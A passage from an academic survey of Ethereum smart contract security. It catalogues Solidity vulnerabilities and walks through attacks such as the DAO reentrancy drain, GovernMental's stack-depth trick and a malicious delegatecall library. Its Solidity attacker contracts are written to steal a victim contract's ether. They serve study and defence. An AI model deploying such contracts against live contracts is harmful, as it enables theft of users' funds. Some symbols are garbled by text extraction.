The first line declares the interface of Alice’s contract, and the last two lines
contain Bob’s contract: therein, pong invokes Alice’s ping via a direct call.
Now, if the programmer mistypes the interface of contract Alice (e.g., by
declaring the type of the parameter as int, instead of uint), and Alice has
no function with that signature, then the call to ping actually results in a call
to Alice’s fallback function.

The fallback function is not the only piece of code that can be unexpectedly
executed: other cases are reported in the vulnerabilities “type cast” at page 9
and “unpredictable state” at page 11.
Exception disorder. In Solidity there are several situations where an exception
may be raised, e.g. if (i) the execution runs out of gas; (ii) the call stack reaches
its limit; (iii) the command throw is executed. However, Solidity is not uniform in
the way it handles exceptions: there are two different behaviours, which depend
on how contracts call each others. For instance, consider:

contract Alice { function ping(uint) returns (uint) }
contract Bob { uint x=0;

function pong(Alice c){ x=1; c.ping (42); x=2; } }

Assume that some user invokes Bob’s pong, and that Alice’s ping throws an
exception. Then, the execution stops, and the side effects of the whole transaction
are reverted. Therefore, the field x contains 0 after the transaction. Now, assume
instead that Bob invokes ping via a call. In this case, only the side effects of
that invocation are reverted, the call returns false, and the execution continues.
Therefore, x contains 2 after the transaction. More in general, assuming that
there is a chain of nested calls, the thrown exception is handled as follows:
6 Although the use of call is discouraged, in some cases this is the only possible way

to transfer ether to contracts (see the “gasless send” vulnerability at page 8).
7 As for call, the use of delegatecall is discouraged.

http://solidity.readthedocs.io/en/develop/types.html#members-of-addresses
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– if every element of the chain is a direct call, then the execution stops, and
every side effect (including transfers of ether) is reverted. Further, all the gas
allocated by the originating transaction is consumed;

– if at least one element of the chain is a call (the cases delegatecall and
send are similar), then the exception is propagated along the chain, reverting
all the side effects in the called contracts, until it reaches a call. From that
point the execution is resumed, with the call returning false8. Further, all
the gas allocated by the call is consumed.

To set an upper bound to the use of gas in a call, one can write:

c.call.gas(g)(bytes4(sha3("ping(uint256)")),n);

In case of exceptions, if no bound is specified then all the available gas is lost;
otherwise, only g gas is lost.

The irregularity in how exceptions are handled may affect the security of
contracts. For instance, believing that a transfer of ether was successful just
because there were no exceptions may lead to attacks (see e.g. Sects. 4.2 and 4.5).
The quantitative analysis in [9] shows that ∼ 28% of contracts do not control the
return value of call/send invocations (note however that the absence of these
checks does not necessarily imply a vulnerability).
Gasless send. When using the function send to transfer ether to a contract,
it is possible to incur in an out-of-gas exception. This may be quite unex-
pected by programmers, because transferring ether is not generally associated
to executing code. The reason behind this exception is subtle. First, note that
c.send(amount) is compiled in the same way of a call with empty signature,
but the actual number of gas units available to the callee is always bound by
23009. Now, since the call has no signature, it will invoke the callee’s fallback
function. However, 2300 units of gas only allow to execute a limited set of byte-
code instructions, e.g. those which do not alter the state of the contract. In any
other case, the call will end up in an out-of-gas exception.

We illustrate the behaviour of send through a small example, involving a
contract C who sends ether through function pay, and two recipients D1, D2.

1 contract C {
2 function pay(uint n, address d){
3 d.send(n);
4 }
5 }

1 contract D1 {
2 uint public count = 0;
3 function () { count ++; }
4 }
5 contract D2 { function () {} }

There are three possible cases to execute pay:

– n �= 0 and d = D1. The send in C fails with an out-of-gas exception, because
2300 units of gas are not enough to execute the state-updating D1’s fallback.

– n �= 0 and d = D2. The send in C succeeds, because 2300 units of gas are
enough to execute the empty fallback of D2.

8 Note that the return value of a function invoked via call is not returned.
9 The actual number g of gas units depends on the version of the compiler. In versions
< 0.4.0, g = 0 if amount = 0, otherwise g = 2300. In versions ≥ 0.4.0, g = 2300.
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– n = 0 and d ∈ {D1, D2}. For compiler versions < 0.4.0, the send in C fails with
an out-of-gas exception, since the gas is not enough to execute any fallback,
not even an empty one. For compiler versions ≥ 0.4.0, the behaviour is the
same as in one of the previous two cases, according whether d = D1 or d = D2.

Summing up, sending ether via send succeeds in two cases: when the recipient
is a contract with an unexpensive fallback, or when the recipient is a user.
Type casts. The Solidity compiler can detect some type errors (e.g., assigning
an integer value to a variable of type string). Types are also used in direct calls:
the caller must declare the callee’s interface, and cast to it the callee’s address
when performing the call. For instance, consider again the direct call to ping:

contract Alice { function ping(uint) returns (uint); }
contract Bob { function pong(Alice c){ c.ping (42); } }

The signature of pong informs the compiler that c adheres to interface Alice.
However, the compiler only checks whether the interface declares the function
ping, while it does not check that: (i) c is the address of contract Alice; (ii) the
interface declared by Bob matches Alice’s actual interface. A similar situation
happens with explicit type casts, e.g. Alice(c).ping(), where c is an address.

The fact that a contract can type-check may deceive programmers, making
them believe that any error in checks (i) and (ii) is detected. Furthermore, even
in the presence of such errors, the contract will not throw exceptions at run-time.
Indeed, direct calls are compiled in the same EVM bytecode instruction used to
compile call (except for the management of exceptions). Hence, in case of type
mismatch, three different things may happen at run-time:

– if c is not a contract address, the call returns without executing any code10;
– if c is the address of any contract having a function with the same signature

as Alice’s ping, then that function is executed.
– if c is a contract with no function matching the signature of Alice’s ping,

then c’s fallback is executed.

In all cases, no exception is thrown, and the caller is unaware of the error.
Reentrancy. The atomicity and sequentiality of transactions may induce pro-
grammers to believe that, when a non-recursive function is invoked, it cannot be
re-entered before its termination. However, this is not always the case, because
the fallback mechanism may allow an attacker to re-enter the caller function.
This may result in unexpected behaviours, and possibly also in loops of invoca-
tions which eventually consume all the gas. For instance, assume that contract
Bob is already on the blockchain, when the attacker publishes Mallory contract:

1 contract Bob {
2 bool sent = false;
3 function ping(address c) {
4 if (!sent) {
5 c.call.value (2)();
6 sent = true;
7 }}}

1 contract Bob { function ping(); }
2

3 contract Mallory {
4 function () {
5 Bob(msg.sender).ping(this);
6 }
7 }

10 Starting from version 0.4.0 of the Solidity compiler, an exception is thrown if the
invoked address is associated with no code.
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The function ping in Bob is meant to send exactly 2wei to some address c, using
a call with empty signature and no gas limits. Now, assume that ping has been
invoked with Mallory’s address. As mentioned before, the call has the side
effect of invoking Mallory’s fallback, which in turn invokes again ping. Since
variable sent has not already been set to true, Bob sends again 2wei to Mallory,
and invokes again her fallback, thus starting a loop. This loop ends when the
execution eventually goes out-of-gas, or when the stack limit is reached (see the
“stack size limit” vulnerability at page 11), or when Bob has been drained off
all his ether. In all cases an exception is thrown: however, since call does not
propagate the exception, only the effects of the last call are reverted, leaving all
the previous transfers of ether valid.

This vulnerability resides in the fact that function ping is not reentrant,
i.e. it may misbehave if invoked before its termination. Remarkably, the “DAO
Attack”, which caused a huge ether loss in June 2016, exploited this vulnerability
(see Sect. 4.1 for more details on the attack).
Keeping secrets. Fields in contracts can be public, i.e. directly readable by
everyone, or private, i.e. not directly readable by other users/contracts. Still,
declaring a field as private does not guarantee its secrecy. This is because, to set
the value of a field, users must send a suitable transaction to miners, who will
then publish it on the blockchain. Since the blockchain is public, everyone can
inspect the contents of the transaction, and infer the new value of the field.

Many contracts, e.g. those implementing multi-player games, require that
some fields are kept secret for a while: for instance, if a field stores the next move
of a player, revealing it to the other players may advantage them in choosing
their next move. In such cases, to ensure that a field remains secret until a certain
event occurs, the contract has to exploit suitable cryptographic techniques, like
e.g. timed commitments [16,20] (see Sect. 4.4).
Immutable bugs. Once a contract is published on the blockchain, it can no
longer be altered. Hence, users can trust that if the contract implements their
intended functionality, then its runtime behaviour will be the expected one as
well, since this is ensured by the consensus protocol. The drawback is that if a
contract contains a bug, there is no direct way to patch it. So, programmers have
to anticipate ways to alter or terminate a contract in its implementation [36] —
although it is debatable the coherency of this with the principles of Ethereum11.

The immutability of bugs has been exploited in various attacks, e.g. to steal
ether, or to make it unredeemable by any user (see Sects. 4.3 and 4.5). In all these
attacks, there was no possibility of recovery. The only exception was the recovery
from the “DAO attack”. The countermeasure was an hard-fork of the blockchain,
which basically nullified the effects of the transactions involved in the attack.
This solution was not agreed by the whole Ethereum community, as it contrasted
with the “code is law” principle claimed so far. As a consequence, part of the
miners refused to fork, and created an alternative blockchain [3].

11 This is one of the main points advertised by the slogan: “Ethereum is a decentralized
platform that runs smart contracts: applications that run exactly as programmed
without any possibility of downtime, censorship, fraud or third party interference”.

https://blog.ethereum.org/2016/07/20/hard-fork-completed/
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Ether lost in transfer. When sending ether, one has to specify the recipient
address, which takes the form of a sequence of 160 bits. However, many of these
addresses are orphan, i.e. they are not associated to any user or contract. If some
ether is sent to an orphan address, it is lost forever (note that there is no way
to detect whether an address is orphan). Since lost ether cannot be recovered,
programmers have to manually ensure the correctness of the recipient addresses.
Stack size limit. Each time a contract invokes another contract (or even itself
via this.f()) the call stack associated with the transaction grows by one frame.
The call stack is bounded to 1024 frames: when this limit is reached, a further
invocation throws an exception. Until October 18th 2016, it was possible to
exploit this fact to carry on an attack as follows. An adversary generates an
almost-full call stack (via a sequence of nested calls), and then he invokes the
victim’s function, which will fail upon a further invocation. If the exception
is not properly handled by the victim’s contract, the adversary could manage
to succeed in his attack. This cause of vulnerability has been addressed by an
hard-fork of the Ethereum blockchain. The fork changed the cost of several EVM
instructions, and redefined the way to compute the gas consumption of call and
delegatecall. After the fork, a caller can allocate at most 63/64 of its gas: since,
currently, the gas limit per block is ∼4,7 M units, this implies that the maximum
reachable depth of the call stack is always less than 1024.
Unpredictable state. The state of a contract is determined by the value of its
fields and balance. In general, when a user sends a transaction to the network
in order to invoke some contract, he cannot be sure that the transaction will be
run in the same state the contract was at the time of sending that transaction.
This may happen because, in the meanwhile, other transactions have changed
the contract state. Even if the user was fast enough to be the first to send a
transaction, it is not guaranteed that such transaction will be the first to be
run. Indeed, when miners group transactions into blocks, they are not required
to preserve any order; they could also choose not to include some transactions.

There is another circumstance where a user may not know the actual state
wherein his transaction will be run. This happens in case the blockchain forks
(see Sect. 2). Recall that, when two miners discover a new valid block at the same
time, the blockchain forks in two branches. Some miners will try to append new
blocks on one of the branches, while some others will work on the other one.
After some time, though, only the longest branch will be considered part of
the blockchain, while the shortest one will be abandoned. Transactions in the
shortest branch will then be ignored, because no longer part of the blockchain.
Therefore, believing that a contract is in a certain state, could be determinant
for a user in order to publish new transactions (e.g., for sending ether to other
users). However, later on such state could be reverted, because the transactions
that led to it could happen to be in the shortest branch of a fork.

In some cases, not knowing the state where a transaction will be run could
give rise to vulnerabilities. E.g., this is the case when invoking contracts that
can be dynamically updated. Note indeed that, although the code of a contract
cannot be altered once published on the blockchain, with some forethinking it

https://blog.ethereum.org/2016/10/13/announcement-imminent-hard-fork-eip150-gas-cost-changes/
https://www.reddit.com/r/ethereum/comments/56f6we/explaining_eip_150/
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is possible to craft a contract whose components can be updated at his owner’s
request. At a later time, the owner can link such contract to a malicious com-
ponent, which e.g. steals the caller’s ether (see e.g. the attack in Sect. 4.6).
Generating randomness. The execution of EVM bytecode is deterministic:
in the absence of misbehaviour, all miners executing a transaction will have the
same results. Hence, to simulate non-deterministic choices, many contracts (e.g.
lotteries, games, etc.) generate pseudo-random numbers, where the initialization
seed is chosen uniquely for all miners.

A common choice is to take for this seed (or for the random number itself) the
hash or the timestamp of some block that will appear in the blockchain at a given
time in the future. Since all the miners have the same view of the blockchain, at
run-time this value will be the same for everyone. Apparently, this is a secure way
to generate random numbers, as the content of future blocks is unpredictable.
However, since miners control which transactions are put in a block and in which
order, a malicious miner could attempt to craft his block so to bias the outcome
of the pseudo-random generator. The analysis in [21] on the randomness of the
Bitcoin blockchain shows that an attacker, controlling a minority of the mining
power of the network, could invest 50 bitcoins to significantly bias the probability
distribution of the outcome; more recent research [40] proves that this is also
possible with more limited resources.

Alternative solutions to this problem are based on timed commitment pro-
tocols [16,20]. In these protocols, each participant chooses a secret, and then
communicates to the others a digest of it, paying a deposit as a guarantee.
Later on, participants must either reveal their secrets, or lose their deposits.
The pseudo-random number is then computed by combining the secrets of all
participants [11,12]. Also in this case an adversary could bias the outcome by
not revealing her secret: however, doing so would result in losing her deposit.
The protocol can then set the amount of the deposit so that not revealing the
secret is an irrational strategy.
Time constraints. A wide range of applications use time constraints in order
to determine which actions are permitted (or mandatory) in the current state.
Typically, time constraints are implemented by using block timestamps, which
are agreed upon by all the miners. Contracts can retrieve the timestamp in
which the block was mined; all the transactions within a block share the same
timestamp. This guarantees the coherence with the state of the contract after
the execution, but it may also expose a contract to attacks, since the miner
who creates the new block can choose the timestamp with a certain degree of
arbitrariness12. If a miner holds a stake on a contract, he could gain an advantage
by choosing a suitable timestamp for a block he is mining. In Sect. 4.5 we show
an attack exploiting this vulnerability.

12 The tolerance in the choice of the timestamp was ∼900 s in a previous version of the
protocol, but currently it has been reduced to a few seconds.

https://github.com/ethereum/wiki/wiki/Block-Protocol-2.0#block-validation-algorithm
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4 Attacks

We now illustrate some attacks — many of which inspired to real use cases —
which exploit the vulnerabilities presented in Sect. 3.

4.1 The DAO Attack

The DAO [14] was a contract implementing a crowd-funding platform, which
raised ∼ $150M before being attacked on June 18th, 2016. An attacker managed
to put ∼ $60M under her control, until the hard-fork of the blockchain nullified
the effects of the transactions involved in the attack.

We now present a simplified version of the DAO, which shares some of the vul-
nerabilities of the original one. We then show two attacks which exploit them13.

1 contract SimpleDAO {

2 mapping (address => uint) public credit;

3

4 function donate(address to){

5 credit[to] += msg.value;}

1 function withdraw(uint amount) {

2 if (credit[msg.sender]>= amount) {

3 msg.sender.call.value(amount)();

4 credit[msg.sender]-=amount;

5 }}}

SimpleDAO allows participants to donate ether to fund contracts at their choice.
Contracts can then withdraw their funds.

Attack #1. This attack, which is similar to the one used on the actual DAO,
allows the adversary to steal all the ether from the SimpleDAO. The first step of
the attack is to publish the contract Mallory.

1 contract Mallory {
2 SimpleDAO public dao = SimpleDAO (0x354 ...);
3 address owner;
4 function Mallory (){owner = msg.sender; }
5 function () { dao.withdraw(dao.queryCredit(this)); }
6 function getJackpot (){ owner.send(this.balance); }}

Then, the adversary donates some ether for Mallory, and invokes Mallory’s
fallback. The fallback function invokes withdraw, which transfers the ether to
Mallory. Now, the function call used to this purpose has the side effect of invok-
ing Mallory’s fallback again (line 5), which maliciously calls back withdraw.
Note that withdraw has been interrupted before it could update the credit
field: hence, the check at line 8 succeeds again. Consequently, the DAO sends
the credit to Mallory for the second time, and invokes her fallback again, and so
on in a loop, until one of the following events occur: (i) the gas is exhausted, or
(ii) the call stack is full, or (iii) the balance of DAO becomes zero. With a series
of these attacks, the adversary can steal all the ether from the DAO. Note that
the adversary can delay the out-of-gas exception by providing more gas in the
originating transaction, because the call at line 9 does not specify a gas limit.

Attack #2. Also our second attack allows an adversary to steal all the ether
from SimpleDAO, but it only need two calls to the fallback function. The first step

13 This code works until Solidity v0.4.2. From there on, some changes to the syntax
are needed as shown in co2.unica.it/ethereum/doc/attacks.html#simpledao.

https://bitcoinmagazine.com/articles/the-dao-raises-more-than-million-in-world-s-largest-crowdfunding-to-date-1463422191
http://co2.unica.it/ethereum/doc/attacks.html#simpledao
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is to publish Mallory2, providing it with a small amount of ether (e.g., 1wei).
Then, the adversary invokes attack to donate 1wei to herself, and subsequently
withdraws it. The function withdraw checks that the user credit is enough, and
if so it transfers the ether to Mallory2.

1 contract Mallory2 {

2 SimpleDAO public dao = SimpleDAO (0x42);

3 address owner;

4 bool performAttack=true;

5 function Mallory2 (){ owner=msg.sender; }

6 function attack () {

7 dao.donate.value (1)(this);

8 dao.withdraw (1); }

1 function () {

2 if (performAttack) {

3 performAttack = false;

4 dao.withdraw (1); }}

5

6 function getJackpot (){

7 dao.withdraw(dao.balance);

8 owner.send(this.balance); }}

As in the previous attack, call invokes Mallory2’s fallback, which in turn calls
back withdraw. Also in this casewithdraw is interrupted before updating the
credit: hence, the check at line 8 succeeds again. Consequently, the DAO sends
1wei to Mallory2 for the second time, and invokes her fallback again. However
this time the fallback does nothing, and the nested calls begin to close. The
effect is that Mallory2’s credit is updated twice: the first time to zero, and
the second one to (2256 − 1)wei, because of the underflow. To finalise the attack,
Mallory2 invokes getJackpot, which steals all the ether from SimpleDAO, and
transfers it to Mallory2’s owner.

Both attacks were possible because SimpleDAO sends the specified amount of
ether before decreasing the credit. Overall, the attacks exploit the “call to the
unknown”, and “reentrancy” vulnerabilities. The first attack is more effective
with a larger investment, while the second one is already rewarding with an
investment of just 1wei (the smallest fraction of ether). Note that the second
attack works also in a variant of SimpleDAO, which checks the return code of
call at line 9 and throws an exception in case it fails.

4.2 King of the Ether Throne

The “King of the Ether Throne” [10] is a game where players compete for acquir-
ing the title of “King of the Ether”. If someone wishes to be the king, he must
pay some ether to the current king, plus a small fee to the contract. The prize to
be king increases monotonically14. We discuss a simplified version of the game
(with the same vulnerabilities), implemented as the contract KotET:

1 contract KotET {

2 address public king;

3 uint public claimPrice = 100;

4 address owner;

5

6 function KotET() {

7 owner = msg.sender;

8 king = msg.sender ;}

9

10 function sweepCommission(uint n) {

11 owner.send(n); }

1 function () {

2 if (msg.value < claimPrice) throw;

3

4 uint compensation =

calculateCompensation ();

5 king.send(compensation);

6 king = msg.sender;

7 claimPrice = calculateNewPrice ();

8 }

9 /* other functions below */

10 }

14 This code works until Solidity v0.4.2. From there on, some changes to the syntax
are needed as shown in co2.unica.it/ethereum/doc/attacks.html#kotet.

http://co2.unica.it/ethereum/doc/attacks.html#kotet
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Whenever a player sends msg.value ether to the contract, he also triggers the
execution of KotET’s fallback. The fallback first checks that the sent ether is
enough to buy the title: if not, it throws an exception (reverting the ether
transfer); otherwise, the player is accepted as the new king. At this point, a
compensation is sent to the dismissing king, and the player is crowned. The dif-
ference between msg.value and the compensation is kept by the contract. The
owner of KotET can withdraw the ether accumulated in the contract through
sweepCommission.

Apparently, the contract may seem honest: in fact, it is not, because not
checking the return code of send may result in stealing ether15. Indeed, since
send is equipped with a few gas (see “gasless send” vulnerability), the send
at line 17 will fail if the king’s address is that of a contract with an expensive
fallback. In this case, since send does not propagate exceptions (see “exception
disorder”), the compensation is kept by the contract.

Now, assume that an honest programmer wants to implement a fair variant
of KotET, by replacing send with call at line 6, and by checking its return code:

1 contract KotET {

2 ...

3 function () {

4 if (msg.value < claimPrice) throw;

5 uint compensation = calculateCompensation ();

6 if (!king.call.value(compensation)()) throw;

7 king = msg.sender;

8 claimPrice = calculateNewPrice ();

9 }}

1 contract Mallory {

2
3 function unseatKing(address a, uint w) {

4 a.call.value(w);

5 }

6
7 function () {

8 throw;

9 }}

This variant is more trustworthy than the previous, but vulnerable to a denial
of service attack. To see why, consider an attacker Mallory, whose fallback just
throws an exception. The adversary calls unseatKing with the right amount of
ether, so that Mallory becomes the new king. At this point, nobody else can get
her crown, since every time KotET tries to send the compensation to Mallory,
her fallback throws an exception, preventing the coronation to succeed.

4.3 Rubixi

Rubixi [2] is a contract which implements a Ponzi scheme, a fraudulent high-
yield investment program where participants gain money from the investments
made by newcomers. Further, the contract owner can collect some fees, paid to
the contract upon investments. The following attack allows an adversary to steal
some ether from the contract, exploiting the “immutable bugs” vulnerability.

At some point during the development of the contract, its name was changed
from DynamicPyramid into Rubixi. However, the programmer forgot to accord-
ingly change the name of the constructor, which then became a function invok-
able by anyone. Hence, after this bug became public, users started to invoke
DynamicPyramid in order to become the owner, and so to withdraw the fees.

15 From Solidity v0.4.2. the compiler gives a warning if the return code of send is not
checked. However, a malevolent programmer can easily fool the compiler by adding
a fake check like bool res = king.send(compensation).
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4.4 Multi-player Games

Consider a contract which implements a simple “odds and evens” game between
two players. Each player chooses a number: if the sum is even, the first player
wins, otherwise the second one wins16.

1 contract OddsAndEvens{

2 struct Player { address addr; uint number ;}

3 Player [2] private players;

4 uint8 tot = 0; address owner;

5
6 function OddsAndEvens () {owner = msg.sender ;}

7
8 function play(uint number) {

9 if (msg.value != 1 ether) throw;

10 players[tot] = Player(msg.sender , number);

11 tot++;

12 if (tot ==2) andTheWinnerIs (); }

1 function andTheWinnerIs () private {

2 uint n = players [0]. number

3 + players [1]. number;

4 players[n%2]. addr.send (1800 finney);

5 delete players;

6 tot=0;

7 }

8
9 function getProfit () {

10 owner.send(this.balance);

11 }

12 }

The contract records the bets of two players in the field players. Since this
field is private, other contracts cannot directly read it. To join the game, each
player must transfer 1ether when invoking the function play. If the amount
transferred is different, it is sent back to the player by throwing an exception
(line 9). Once the second player has joined the game, the contract executes
andTheWinnerIs to send 1.8ether to the winner. The remaining 0.2ether are
kept by the contract, and they can be collected by the owner via getProfit.

An adversary can carry on an attack which always allows her to win a game.
To do that, the adversary impersonates the second player, and waits that the first
player makes his bet. Now, although the field players is private, the adversary
can infer the first player’s bet, by inspecting the blockchain transaction where
he joined the game. Then, the adversary can win the game by invoking play
with a suitable bet17. This attack exploits the “keeping secrets” vulnerability.

4.5 GovernMental

GovernMental [8] is another flawed Ponzi scheme. To join the scheme, a partic-
ipant must send a certain amount of ether to the contract. If no one joins the
scheme for 12 h, the last participant gets all the ether in the contract (except for
a fee kept by the owner). The list of participants and their credit are stored in
two arrays. When the 12 h are expired, the last participant can claim the money,
and the arrays are cleared. However, the command used to clear the arrays had
the effect of setting a zero in each position. At a certain point, the array of
participants of GovernMental grew so long, that clearing the arrays would have
required more gas than the maximum allowed for a single transaction. From that
point, any attempt to clear the arrays has failed18.

We now present a simplified version of GovernMental, which shares some of
the vulnerabilities of the original contract.
16 This code works until Solidity v0.4.2. From there on, some changes to the syntax

are needed as shown in co2.unica.it/ethereum/doc/attacks.html#oddsandevens.
17 A similar attack on a “rock-paper-scissors” game is presented in [26].
18 Contextually with the hard-fork of the 17th of June, the gas limit has been raised,

so allowing the winner to rescue the jackpot of ∼ 1100ether.

https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/
http://co2.unica.it/ethereum/doc/attacks.html#oddsandevens
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1 contract Governmental {

2 address public owner;

3 address public lastInvestor;

4 uint public jackpot = 1 ether;

5 uint public lastInvestmentTimestamp ;

6 uint public ONE_MINUTE = 1 minutes;

7
8 function Governmental () {

9 owner = msg.sender;

10 if (msg.value <1 ether) throw; }

11
12 function invest () {

13 if (msg.value <jackpot /2) throw;

14 lastInvestor = msg.sender;

15 jackpot += msg.value /2;

16 lastInvestmentTimestamp = block.

timestamp; }

1 function resetInvestment () {

2 if (block.timestamp <

3 lastInvestmentTimestamp +ONE_MINUTE)

4 throw;

5
6 lastInvestor.send(jackpot);

7 owner.send(this.balance -1 ether);

8
9 lastInvestor = 0;

10 jackpot = 1 ether;

11 lastInvestmentTimestamp = 0;

12 }

13 }

The contract Governmental gathers the investments of players in rounds,
and it pays back only a winner per round, i.e. the player which is the last for at
least one minute. To join the scheme, a player must invest at least half of the
jackpot (line 14), whose amount grows upon each new investment. Anyone can
invoke resetInvestment, which pays the jackpot (half of the invested total) to
the winner (line 24), and sends the remaining ether to the contract owner. The
contract assumes that players are either users or contracts with empty fallback,
so not to incur in out-of-gas exceptions during send.

We now show three different attacks to our simplified GovernMental19.

Attack #1. This attack exploits the vulnerabilities “exception disorder” and
“stack size limit”, and is performed by the contract owner20. His goal is not to
pay the winner, so that the ether is kept by the contract, and redeemable by the
owner at a later time. To fulfil this goal, the owner has to make the send at line
24 fail. His first step is to publish the following contract:
1 contract Mallory {

2 function attack(address target , uint count) {

3 if (0<= count && count <1023) this.attack.gas(msg.gas -2000)(target , count +1);

4 else Governmental(target).resetInvestment (); }}

Then, the owner calls Mallory’s attack, which starts invoking herself recur-
sively, making the stack grow. When the call stack reaches the depth of 1022,
Mallory invokes Governmental’s resetInvestment, which is then executed at
stack size 1023. At this point, the send at line 24 fails, because of the call stack
limit (the second send fails as well). Since GovernMental does not check the
return code of send, the execution proceeds, resetting the contract state (lines
27–29), and starting another round. The balance of the contract increases every
time this attack is run, because the legit winner is not paid. To collect the ether,
the owner only needs to wait for another round to terminate correctly.

Attack #2. In this case, the attacker is a miner, who also impersonates a player.
Being a miner, she can choose not to include in blocks the transactions directed
to GovernMental, except for her own, in order to be the last player in the round.
Furthermore, she can reorder the transactions, such that her one will appear first:
indeed, by playing first and by choosing a suitable amount of ether to invest,
19 The attacks #1 and #3 have been also reported in [34], while attack #2 is fresh.
20 As mentioned in Sect. 3, this attack is no longer possible since October 18, 2016.
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she can prevent others players to join the scheme (line 14), to result the last
player in the round. This attack exploits the “unpredictable state” vulnerability,
since players cannot be sure that, when they publish a transaction to play the
invested ether will be enough to make this operation succeed.
Attack #3. Also in this case the attacker is a miner impersonating a player.
Assume that the attacker manages to join the scheme. To be the last player in
a round for a minute, she can play with the block timestamp. More specifically,
the attacker sets the timestamp of the new block so that it is at least one minute
later the timestamp of the current block. As discussed along with the “time
constraints” vulnerability, there is a tolerance on the choice of the timestamp.
If the attacker manages to publish the new block with the delayed timestamp,
she will be the last player in the round, and will win the jackpot.

4.6 Dynamic Libraries

We now consider a contract which can dynamically update one of its components,
which is a library of operation on sets. Therefore, if a more efficient implemen-
tation of these operations is developed, or if a bug is fixed, the contract can use
the new version of the library.

1 contract SetProvider {

2 address setLibAddr;

3 address owner;

4
5 function SetProvider (){

6 owner = msg.sender ;}

7
8 function updateLibrary(address arg) {

9 if (msg.sender ==owner)

10 setLibAddr = arg; }

11
12 function getSet () returns (address) {

13 return setLibAddr; }}

1 library Set {

2 struct Data { mapping(uint => bool) flags; }

3
4 function insert(Data storage self , uint value)

5 returns (bool) {

6 self.flags[value] = true;

7 return true;

8 }

9 //other functions here ...

10
11 function version () returns(uint) { return 1; }

12 }

The owner of contract SetProvider can use function updateLibrary to
replace the library address with a new one. Any user can obtain the address of
the library via getSet. The library Set implements some basic set operations.
Libraries are special contracts, which e.g. cannot have mutable fields. When a user
declares that an interface is a library, direct calls to any of its functions are done
via delegatecall. Arguments tagged as storage are passed by reference.

Assume that Bob is the contract of an honest user of SetProvider. In par-
ticular, Bob queries for the library version via getSetVersion21:
1 library Set { function version () returns (uint); }

2 contract Bob {

3 SetProvider public provider;

4 function Bob(address arg) { provider = SetProvider(addr); }

5 function getSetVersion() returns (uint) {

6 address setAddr = provider.getSet ();

7 return Set(setAddr).version (); }}

21 From Solidity v0.4.2., it is no longer possible to instantiate a library via Set(addr):
instead, the library address must be set via command line. However, a similar attack
is still possible by using delegatecall, as shown in co2.unica.it/ethereum/doc/
attacks.html#dynamic-libraries-v4-2.

http://solidity.readthedocs.io/en/develop/contracts.html#libraries
http://co2.unica.it/ethereum/doc/attacks.html#dynamic-libraries-v4-2
http://co2.unica.it/ethereum/doc/attacks.html#dynamic-libraries-v4-2
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Now, assume that the owner of setProvider is also an adversary. She can attack
Bob as follows, with the goal of stealing all his ether. In the first step of the attack,
the adversary publishes a new library MaliciousSet, and then it invokes the
function updateLibrary of SetProvider to make it point to MaliciousSet.
1 library MaliciousSet {
2 address constant attackerAddr = 0x42;
3 function version () returns(uint) {
4 attackerAddr.send(this.balance);
5 return 1; }}

Note that MaliciousSet performs a send at line 4, to transfer ether to the
adversary. Since Bob has declared the interface Set as a library, any direct
call to version is implemented as a delegatecall, and thus executed in Bob’s
environment. Hence, this.balance in the send at line 4 actually refers to Bob’s
balance, causing the send to transfer all his ether to the adversary. An even nas-
tier version of MaliciousSet could use selfdestruct(attackerAddr); to disable
Bob’s contract forever and send all its balance to the attacker address.

The attack outlined above exploits the “unpredictable state” vulnerability,
since Bob cannot know which version of the library will be run when his trans-
action will be executed.

5 Discussion

We have presented an analysis of the security of Ethereum smart contracts. Our
analysis is based both on the growing academic literature on the topic, on the
participation to Internet blogs and discussion forums about Ethereum, and on
our practical experience on programming smart contracts. To the best of our
knowledge, our analysis encompasses all the major vulnerabilities and attacks
reported so far. Our taxonomy extends to the domain of smart contracts other
classifications of security vulnerabilities of software [18,19,33,41]. We expect
that our taxonomy will evolve as new vulnerabilities and attacks are found.

It is foreseeable that the interplay between huge investments on security-
sensitive blockchain applications and the poor security of their current imple-
mentations will foster the research on these topics. The attacks discussed in this
paper highlight that a common cause of insecurity of smart contracts is the dif-
ficulty of detecting mismatches between their intended behaviour and the actual
one. Although analysis and verification tools (like e.g. the ones discusses below)
may help in this direction, the choice of using a Turing-complete language lim-
its the possibility of verification. We expect that non-Turing complete, human-
readable languages could overcome this issue, at least in some specific application
domains. The recent proliferation of experimental languages [22,24,27,29,42]
suggests that this is an emerging research direction.
Verification of smart contracts. Some recent works propose tools to detect
vulnerabilities through static analisys of the contract code.
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The tool Oyente [34] extracts the control flow graph from the EVM bytecode
of a contract, and symbolically executes it in order to detect some vulnerability
patterns. In particular, the tool consider the patterns leading to vulnerabilities of
kind “exception disorder” (e.g., not checking the return code of call, send and
delegatecall), “time constraints” (e.g., using block timestamps in conditional
expressions), “unpredictable state”, and “reentrancy”.

The tool presented in [17] translates smart contracts, either Solidity or EVM
bytecode, into the functional language F∗ [44]. Various properties are then ver-
ified on the resulting F∗ code. In particular, code obtained from Solidity con-
tracts is checked against “exception disorder” and “reentrancy” vulnerabilities,
by looking for specific patterns. Code obtained from EVM supports low-level
analyses, like e.g. computing bounds on the gas consumption of contract func-
tions. Furthermore, given a Solidity program and an alleged compilation of it
into EVM bytecode, the tool verifies that the two pieces of code have equivalent
behaviours. Both tools have been experimented on the contracts published in
blockchain of Ethereum. The results of this large-scale analysis show that secu-
rity vulnerabilities are widespread. For instance, [34] reports that ∼ 28% of the
analyzed contracts potentially contain “exception disorder” vulnerabilities.

The work [32] uses the Isabelle/HOL proof assistant [38] to verify a spe-
cific contract. More precisely, the target of the analysis is the EVM bytecode
obtained by compiling the Solidity code of “Deed”, a contract which is part of
the Ethereum Name Service. The theorem proved through Isabelle/HOL states
that, upon an invocation of the contract, only its owner can decrease the balance.
Low-level attacks. Besides the attacks involving contracts, also the Ethereum
network has been targeted by adversaries. Their attacks exploit vulnerabilities
at EVM specification level, combined with security flaws in the Ethereum client.

For instance, a recent denial-of-service attack exploits an EVM instruc-
tion whose cost in units of gas was too low, compared to the computational
effort required for its execution [4]. The attacker floods the network with that
instruction, causing a substantial decrease of its computational power, and a
slowdown to the blockchain synchronization process. Similarly to the recovery
from the DAO attack, also this problem has been addressed by forking the
blockchain [1,7].

Vulnerabilities in client implementations can also be the cause of attacks. A
recent technical report [48] analyses the Ethereum official client. By exploiting
the block propagation algorithm, they discovered that the Ethereum network
can be partitioned in small groups of nodes: in this way, nodes can be forced to
